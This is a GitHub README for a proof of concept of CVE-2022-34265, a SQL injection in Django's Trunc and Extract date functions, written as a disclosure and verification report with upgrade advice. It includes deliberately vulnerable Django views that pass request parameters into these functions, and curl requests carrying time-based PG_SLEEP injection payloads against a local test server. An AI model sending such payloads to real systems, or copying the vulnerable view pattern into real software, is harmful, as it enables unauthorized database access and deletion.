Skip to content

aeyesec/CVE-2022-34265

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

17 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2022-34265

Usage

start

docker-compose build
docker-compose up -d

stop

docker-compose down

PoC verification of Django vulnerability (CVE-2022-34265)

A vulnerability (CVE-2022-34265) in Django was disclosed on July 5, 2022 (US time). This article describes our discussion of this vulnerability and the results of our verification.

Vulnerability Summary

This vulnerability is due to improper string processing when executing SQL for the arguments of the functions Trunc and Extract used for date data in Django. By specifying the request parameters as is in the kind argument of Trunc or the lookup_name argument of Extract, there is a risk that arbitrary SQL minutes can be executed. By exploiting this vulnerability, a third party can send commands to the database to access unauthorized data or delete the database.

Affected Versions

  • Django 3.2.x prior to 3.2.14
  • Django 4.0.x prior to 4.0.6

Countermeasures

  • Update to Django 3.2.14 or higher.
  • Update to Django 4.0.6 or higher.

Vulnerability History and Considerations

Many of the vulnerabilities discovered in Django in the past were SQL Injection vulnerabilities, and we wondered if there were other vulnerabilities like CVE-2020-7471, so we checked the database function arguments in turn, we found arguments that had not been detoxified, and Takuto Yoshikai (the author) reported this to the IPA and the Django development team.

As a result, in the release resolving CVE-2022-34265

  • String handling of vulnerable arguments
    • String handling to prevent SQL statement corruption when single quotes or other characters are included in arguments

The following actions have been taken to address these issues.

Verification environment

  • ThinkPad Ubuntu20.04
  • Python 3.9.7
  • Django 4.0.5

Verification procedure and results

Configuration

  • Project Name: project
  • Application Name: vuln

Source Code

vuln/models.py

We used an example from Django Documentation, model for a table that records the start and end time of a date.

from django.db import models

class Experiment(models.Model):
    start_datetime = models.DateTimeField()
    start_date = models.DateField(null=True, blank=True)
    start_time = models.TimeField(null=True, blank=True)
    end_datetime = models.DateTimeField(null=True, blank=True)
    end_date = models.DateField(null=True, blank=True)
    end_time = models.TimeField(null=True, blank=True)

vuln/views.py

from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers

# /extract/?lookup_name=xxx

def vuln_extract(request):
    payload = request.GET.get('lookup_name')
    start = datetime(2015, 6, 15)
    end = datetime(2015, 7, 2)
    Experiment.objects.create(
        start_datetime=start, start_date=start.date(),
        end_datetime=end, end_date=end.date())
    experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
    return JsonResponse({"res": serializers.serialize("json", experiments)})

# /trunc/?kind=xxx
def vuln_trunc(request):
    payload = request.GET.get('kind')
    start = datetime(2015, 6, 15)
    end = datetime(2015, 7, 2)
    Experiment.objects.create(
        start_datetime=start, start_date=start.date(),
        end_datetime=end, end_date=end.date())
    experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
    return JsonResponse({"res": serializers.serialize("json", experiments)})
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))

This filters the year numbers in the start_datetime column of Experiment that are the same as the year, month, day, hour, minute, second, etc. of end_datetime. SQL Injection vulnerability may be triggered from here.

# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))

The Trunc function is used to truncate specific year, month, day, hour, minute, second, etc. portions of date and time data. In the above example, start_datetime and start_datetime with the payload portion truncated are the same record. This is where the SQL Injection vulnerability could be triggered.

PoC

To verify that the attack succeeds, use the PG_SLEEP instruction to see if there is a delay in the time the response is returned.

# Normal URL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"

# URL where the database instruction can be executed
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"

I have specified 5 seconds in PG_SLEEP, but it seems that PG_SLEEP(5) takes several seconds. It seems to be called several seconds depending on the implementation and situation. Since arbitrary SQL statements can be executed, dangerous attacks such as database deletion are possible.

Summary

As a result of our discussion and verification, we found that there is no small possibility of a successful attack depending on the implementation. We recommend that you update your system as soon as possible to avoid the risk of DROP TABLE in the worst case scenario.

Reference Information